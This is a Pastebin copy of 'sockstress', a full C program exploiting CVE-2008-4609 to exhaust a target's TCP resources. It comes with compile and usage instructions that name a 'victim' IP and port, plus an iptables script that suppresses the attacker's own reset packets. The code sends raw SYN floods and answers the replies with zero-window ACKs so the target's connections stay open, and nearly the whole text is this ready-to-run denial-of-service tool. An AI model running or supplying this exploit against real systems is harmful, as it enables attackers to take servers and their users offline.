Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * _____ ____ _____ _ __ _____ _______ _____ ______ _____ _____
- * / ____|/ __ \ / ____| |/ // ____|__ __| __ \| ____|/ ____|/ ____|
- * | (___ | | | | | | ' /| (___ | | | |__) | |__ | (___ | (___
- * \___ \| | | | | | < \___ \ | | | _ /| __| \___ \ \___ \
- * ____) | |__| | |____| . \ ____) | | | | | \ \| |____ ____) |____) |
- * |_____/ \____/ \_____|_|\_\_____/ |_| |_| \_\______|_____/|_____/
- *
- * CVE-2008-4609
- * https://defuse.ca/sockstress.htm
- *
- * By: havoc@defuse.ca
- * Date: April 9, 2012
- *
- * This code is explicitly placed into the public domain.
- * THIS CODE IS PROVIDED FOR EDUCATIONAL AND ETHICAL SECURITY TESTING PURPOSES
- * ONLY. THE AUTHOR IS NOT RESPONSIBLE FOR ILLEGAL USE OF, OR DAMAGE CAUSED
- * BY, THIS CODE. There is NO WARRANTY, to the extent permitted by law.
- *
- * Compile: gcc -Wall -c sockstress.c
- * gcc -pthread -o sockstress sockstress.o
- *
- * Usage: ./sockstress <ip>:<port> <interface> [-p payload] [-d delay]
- * <ip> Victim IP address
- * <port> Victim port
- * <interface> Local network interface (e.g. eth0)
- * -p payload File containing data to send after connecting
- * Payload can be at most 1000 bytes
- * -d delay Microseconds between SYN packets (default: 10000
- * -h Help menu
- *
- * You MUST configure iptables to drop the reset packets sent by the local OS
- * in response to the incoming acks: ./drop_rst.sh xx.xx.xx.xx
- * --- BEGIN drop_rst.sh ---
- #!/bin/bash
- if [ $# -eq 0 ] ; then
- echo "Usage: ./drop_rst.sh <remote_ip>"
- exit 1
- fi
- iptables -A OUTPUT -p tcp --tcp-flags rst rst -d $1 -j DROP
- * --- END drop_rst.sh ---
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <stdint.h>
- #include <time.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <net/if.h>
- #include <sys/ioctl.h>
- #include <sys/types.h>
- #include <pthread.h>
- #define DEBUG_MODE 0 // Set to 1 to enable extremely verbose output
- #define DEFAULT_SYN_DELAY (10 * 1000) // 10ms
- #define IP_PROT_TCP 6
- #define MAX_PAYLOAD_SIZE 1000
- #pragma pack(push)
- #pragma pack(1)
- struct ip_header {
- unsigned char ver_ihl;
- unsigned char type_of_service;
- uint16_t length;
- uint32_t line2; // don't care about these bits
- unsigned char ttl;
- unsigned char protocol;
- uint16_t checksum;
- uint32_t source_addr;
- uint32_t dest_addr;
- uint32_t options;
- };
- struct tcp_header {
- uint16_t src_port;
- uint16_t dest_port;
- uint32_t seq;
- uint32_t ack;
- uint16_t off_res_flags;
- uint16_t window;
- uint16_t checksum;
- uint16_t urg_ptr;
- uint32_t opts_pad;
- };
- #pragma pack(pop)
- static const char *optString = "h?p:d:";
- struct globalArgs_t {
- uint16_t attack_port;
- struct in_addr attack_ip;
- struct sockaddr_in iface_addr;
- int syn_delay;
- unsigned char payload[MAX_PAYLOAD_SIZE];
- size_t payload_size;
- } globalArgs;
- struct packetStats_t {
- unsigned long syn_sent;
- unsigned long ack_sent;
- unsigned long synack_recv;
- unsigned long ack_recv;
- unsigned long rst_recv;
- } packetStats;
- void *process_incoming(void *ptr);
- void *send_syns(void *ptr);
- int get_iface_ip(struct sockaddr_in *ip, char *iface);
- void calc_tcp_checksum(unsigned char *packet, unsigned long packet_length, struct in_addr src, struct in_addr dst);
- void send_ack(unsigned char *packet);
- void *print_status(void *ptr);
- void printUsage(char *msg);
- void initStats(void);
- void processArgs(int argc, char **argv);
- void loadPayload(char *path);
- void printIntro(void);
- int main(int argc, char **argv)
- {
- srand(time(NULL));
- printIntro();
- initStats();
- processArgs(argc, argv);
- // Start the packet processor
- pthread_t packet_processor;
- pthread_create(&packet_processor, NULL, process_incoming, NULL);
- // Start the syn flood thread
- pthread_t syn_sender;
- pthread_create(&syn_sender, NULL, send_syns, NULL);
- pthread_t status_update;
- pthread_create(&status_update, NULL, print_status, NULL);
- // Wait for the threads to return, which is never.
- pthread_join(syn_sender, NULL);
- pthread_join(packet_processor, NULL);
- pthread_join(status_update, NULL);
- return 0;
- }
- void printIntro(void)
- {
- puts("SOCKSTRESS - CVE-2008-4609 | havoc@defuse.ca");
- }
- void printUsage(char *msg)
- {
- if(msg != NULL)
- printf("[!] %s\n", msg);
- puts("Usage: ./sockstress <ip>:<port> <interface> [-p payload] [-d delay]");
- puts("\t<ip>\t\tVictim IP address");
- puts("\t<port>\t\tVictim port");
- puts("\t<interface>\tLocal network interface (e.g. eth0)");
- puts("\t-p payload\tFile containing data to send after connecting");
- printf("\t\t\tPayload can be at most %d bytes\n", MAX_PAYLOAD_SIZE);
- printf("\t-d delay\tMicroseconds between SYN packets (default: %d)\n", DEFAULT_SYN_DELAY);
- puts("\t-h\t\tHelp menu");
- puts("\n **You must configure your firewall to drop TCP reset packets sent to <ip>**");
- exit(-1);
- }
- void initStats(void)
- {
- packetStats.syn_sent = 0;
- packetStats.ack_sent = 0;
- packetStats.synack_recv = 0;
- packetStats.ack_recv = 0;
- packetStats.rst_recv = 0;
- }
- void processArgs(int argc, char **argv)
- {
- globalArgs.attack_port = 0;
- globalArgs.syn_delay = DEFAULT_SYN_DELAY;
- globalArgs.payload_size = 0;
- int opt = 0;
- while((opt = getopt(argc, argv, optString)) != -1)
- {
- switch(opt)
- {
- case 'p':
- loadPayload(optarg);
- break;
- case 'd':
- globalArgs.syn_delay = atoi(optarg);
- if(globalArgs.syn_delay == 0)
- printUsage("Invalid delay.");
- break;
- case 'h':
- case '?':
- printUsage(NULL);
- default:
- break;
- }
- }
- char **remArgv = argv + optind;
- int remArgc = argc - optind;
- if(remArgc > 2)
- printUsage("Too many arguments.");
- if(remArgc < 2)
- printUsage("Too few arguments.");
- int ip_index = 0;
- int iface_index = 1;
- // If they put the interface before the ip:port, swap the indexes.
- if(get_iface_ip(&globalArgs.iface_addr, remArgv[iface_index]) == 0)
- {
- ip_index = 1;
- iface_index = 0;
- if(get_iface_ip(&globalArgs.iface_addr, remArgv[iface_index]) == 0)
- printUsage("Invalid interface.");
- }
- char *ip = remArgv[ip_index];
- char *port = remArgv[ip_index];
- while(*port != ':' && *port != '\0')
- port++;
- if(*port == '\0')
- printUsage("Please specify a port.");
- *port = '\0';
- port++;
- globalArgs.attack_port = atoi(port);
- if(globalArgs.attack_port == 0)
- printUsage("Invalid port.");
- if(inet_aton(ip, &globalArgs.attack_ip) == 0)
- printUsage("Invalid IP address.");
- printf("[+] Sending packets from %s (%s)\n", remArgv[iface_index], inet_ntoa(globalArgs.iface_addr.sin_addr));
- printf("[+] Attacking: %s:%hu...\n", ip, globalArgs.attack_port);
- }
- void loadPayload(char *path)
- {
- FILE *file = fopen(path, "rb");
- if(file == NULL)
- printUsage("Error reading payload file.");
- globalArgs.payload_size = fread(globalArgs.payload, sizeof(unsigned char), MAX_PAYLOAD_SIZE, file);
- if(ferror(file))
- printUsage("Error reading payload file.");
- }
- void *print_status(void *ptr)
- {
- if(DEBUG_MODE)
- return NULL;
- while(1)
- {
- printf("[+] SENT: syn: %lu ack: %lu RECV: synack: %lu ack: %lu rst: %lu\r",
- packetStats.syn_sent, packetStats.ack_sent, packetStats.synack_recv, packetStats.ack_recv, packetStats.rst_recv);
- fflush(stdout);
- sleep(1);
- }
- }
- void *send_syns(void *ptr)
- {
- int s_out = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
- if(s_out < 0)
- {
- perror("[!] Error creating socket to send SYNs");
- exit(-1);
- }
- if(bind(s_out, (struct sockaddr*)&globalArgs.iface_addr, sizeof(struct sockaddr_in)) == -1)
- {
- perror("[!] Error binding socket to send SYNs");
- exit(-1);
- }
- struct tcp_header tcp;
- struct sockaddr_in attack_addr;
- attack_addr.sin_family = AF_INET;
- attack_addr.sin_addr = globalArgs.attack_ip;
- while(1)
- {
- tcp.src_port = (rand() & 0xFFFF) | 0x8000;
- tcp.dest_port = htons(globalArgs.attack_port);
- tcp.seq = htonl(rand());
- tcp.ack = 0;
- tcp.off_res_flags = 0;
- // set data offset
- tcp.off_res_flags |= htons(0x6000);
- // set syn flag
- tcp.off_res_flags |= htons(0x0002);
- tcp.window = 1000;
- tcp.urg_ptr = 0;
- tcp.opts_pad = 0;
- calc_tcp_checksum((unsigned char*)&tcp, sizeof(struct tcp_header), globalArgs.iface_addr.sin_addr, attack_addr.sin_addr);
- int ret = sendto(s_out, &tcp, sizeof(struct tcp_header), 0,
- (struct sockaddr*)&attack_addr, sizeof(struct sockaddr_in));
- if(ret == -1)
- perror("[!] Error sending SYN packet");
- packetStats.syn_sent++;
- usleep(globalArgs.syn_delay);
- }
- }
- void send_ack(unsigned char *packet)
- {
- if(DEBUG_MODE)
- printf("[d] ---SENDING ACK...\n");
- static int s_out = -1;
- if(s_out == -1)
- {
- if(DEBUG_MODE)
- printf("[d] Initializing ACK socket...\n");
- s_out = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
- if(s_out < 0)
- {
- perror("[!] Error creating socket to send ACK/SYNACK");
- exit(-1);
- }
- if(bind(s_out, (struct sockaddr*)&globalArgs.iface_addr, sizeof(struct sockaddr_in)) == -1)
- {
- perror("[!] Error binding socket to send ACK/SYNACK");
- exit(-1);
- }
- }
- struct sockaddr_in attack_addr;
- attack_addr.sin_family = AF_INET;
- attack_addr.sin_addr = globalArgs.attack_ip;
- struct ip_header *ip = (struct ip_header*)packet;
- struct tcp_header *synack = (struct tcp_header*)(packet + 4*(ip->ver_ihl & 0x0F));
- unsigned char reply[sizeof(struct tcp_header) + MAX_PAYLOAD_SIZE];
- struct tcp_header *ack = (struct tcp_header*)reply;
- ack->src_port = synack->dest_port;
- ack->dest_port = synack->src_port;
- ack->ack = synack->seq; // Only add 1 if it's a synack (done below)
- ack->seq = synack->ack;
- ack->off_res_flags = 0;
- // set data offset
- ack->off_res_flags |= htons(0x6000);
- // set ack flag
- ack->off_res_flags |= htons(0x0010);
- ack->window = 0; // zero window to make the other side wait
- ack->urg_ptr = 0;
- ack->opts_pad = 0;
- // If the received packet is a SYNACK, attach the payload
- unsigned long packet_size = sizeof(struct tcp_header);
- if(synack->off_res_flags & htons(0x0010) && synack->off_res_flags & htons(0x0002))
- {
- ack->ack = htonl(ntohl(synack->seq) + 1);
- ack->seq = synack->ack;
- memcpy(reply + sizeof(struct tcp_header), globalArgs.payload, globalArgs.payload_size);
- packet_size += globalArgs.payload_size;
- }
- calc_tcp_checksum(reply, packet_size, globalArgs.iface_addr.sin_addr, attack_addr.sin_addr);
- int ret = sendto(s_out, reply, packet_size, 0,
- (struct sockaddr*)&attack_addr, sizeof(struct sockaddr_in));
- if(ret == -1)
- perror("[!] Error sending ACK/SYNACK packet");
- }
- // Thread for processing incoming packets
- void *process_incoming(void *ptr)
- {
- int s_listen = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
- if(s_listen < 0)
- {
- perror("[!] Error creating socket to process incoming packets");
- exit(-1);
- }
- struct sockaddr_in localhost;
- localhost.sin_family = AF_INET;
- localhost.sin_addr.s_addr = INADDR_ANY;
- bind(s_listen, (struct sockaddr*)&localhost, sizeof(localhost));
- unsigned char packet_buffer[10000];
- while(1)
- {
- int count = recv(s_listen, packet_buffer, 10000, 0);
- struct ip_header *ip = (struct ip_header*)packet_buffer;
- struct tcp_header *tcp = (struct tcp_header*)(packet_buffer + 4*(ip->ver_ihl & 0x0F));
- if(ip->source_addr == globalArgs.attack_ip.s_addr && ip->protocol == IP_PROT_TCP)
- {
- struct in_addr src_addr;
- src_addr.s_addr = ip->source_addr;
- int urg, ack, psh, rst, syn, fin;
- urg = tcp->off_res_flags & htons(0x0020);
- ack = tcp->off_res_flags & htons(0x0010);
- psh = tcp->off_res_flags & htons(0x0008);
- rst = tcp->off_res_flags & htons(0x0004);
- syn = tcp->off_res_flags & htons(0x0002);
- fin = tcp->off_res_flags & htons(0x0001);
- if(DEBUG_MODE)
- {
- printf("[d] Got %d byte TCP packet from %s\n", count, inet_ntoa(src_addr));
- printf("[d]\t SEQ: %lx ACK: %lx\n", (long)ntohl(tcp->seq), (long)ntohl(tcp->ack));
- printf("[d]\t SRC: %d DST: %d\n", (int)ntohs(tcp->src_port), (int)ntohs(tcp->dest_port));
- printf("[d]\t IP CHECKSUM %lx TCP CHECKSUM %lx\n", (long)ip->checksum, (long)tcp->checksum);
- printf("[d]\t FLAGS: ");
- if(urg)
- printf("URG ");
- if(ack)
- printf("ACK ");
- if(psh)
- printf("PSH ");
- if(rst)
- printf("RST ");
- if(syn)
- printf("SYN ");
- if(fin)
- printf("FIN ");
- printf("\n[d]\t WINDOW: %d", tcp->window);
- printf("\n");
- }
- // Complete the connection
- if(syn && ack)
- {
- packetStats.synack_recv++;
- send_ack(packet_buffer);
- packetStats.ack_sent++;
- }
- // Keep it alive
- else if(ack)
- {
- packetStats.ack_recv++;
- send_ack(packet_buffer);
- packetStats.ack_sent++;
- }
- else if(rst)
- {
- packetStats.rst_recv++;
- }
- }
- }
- }
- #define ADD_16BIT_OVERFLOW(x) x = (x + (1&(x >> 16))) & 0xFFFF;
- void calc_tcp_checksum(unsigned char *packet, unsigned long packet_length, struct in_addr src, struct in_addr dst)
- {
- uint32_t checksum = 0;
- // Pseudo Header
- uint32_t source_ip = ntohl(src.s_addr);
- uint32_t dest_ip = ntohl(dst.s_addr);
- // Source Address
- checksum += (source_ip >> 16) & 0xFFFF;
- ADD_16BIT_OVERFLOW(checksum);
- checksum += source_ip & 0x0000FFFF;
- ADD_16BIT_OVERFLOW(checksum);
- // Destination Address
- checksum += (dest_ip >> 16) & 0xFFFF;
- ADD_16BIT_OVERFLOW(checksum);
- checksum += dest_ip & 0x0000FFFF;
- ADD_16BIT_OVERFLOW(checksum);
- // zero||protocol
- checksum += 0x0006;
- ADD_16BIT_OVERFLOW(checksum);
- //TCP length
- checksum += packet_length;
- ADD_16BIT_OVERFLOW(checksum);
- // Set the checksum field to 0
- struct tcp_header *tcp = (struct tcp_header*)packet;
- tcp->checksum = 0;
- int i;
- for(i = 0; i < packet_length / 2; i++)
- {
- // Read the 16-bit word in the correct endianness
- uint16_t block = (packet[i * 2] << 8) | packet[i * 2 + 1];
- checksum += block;
- ADD_16BIT_OVERFLOW(checksum);
- }
- if(packet_length % 2 == 1)
- {
- uint16_t last_block = packet[packet_length-1] << 8;
- checksum += last_block;
- ADD_16BIT_OVERFLOW(checksum);
- }
- // actual checksum is the one's compliment of the one's compliment sum
- tcp->checksum = htons(~checksum);
- }
- int get_iface_ip(struct sockaddr_in *ip, char *iface)
- {
- int fd;
- struct ifreq ifr;
- fd = socket(AF_INET, SOCK_DGRAM, 0);
- ifr.ifr_addr.sa_family = AF_INET;
- strncpy(ifr.ifr_name, iface, IFNAMSIZ - 1);
- int ret = ioctl(fd, SIOCGIFADDR, &ifr);
- if(ret != 0)
- {
- return 0;
- }
- close(fd);
- ip->sin_family = AF_INET;
- ip->sin_addr = ((struct sockaddr_in*)&ifr.ifr_addr)->sin_addr;
- return 1;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement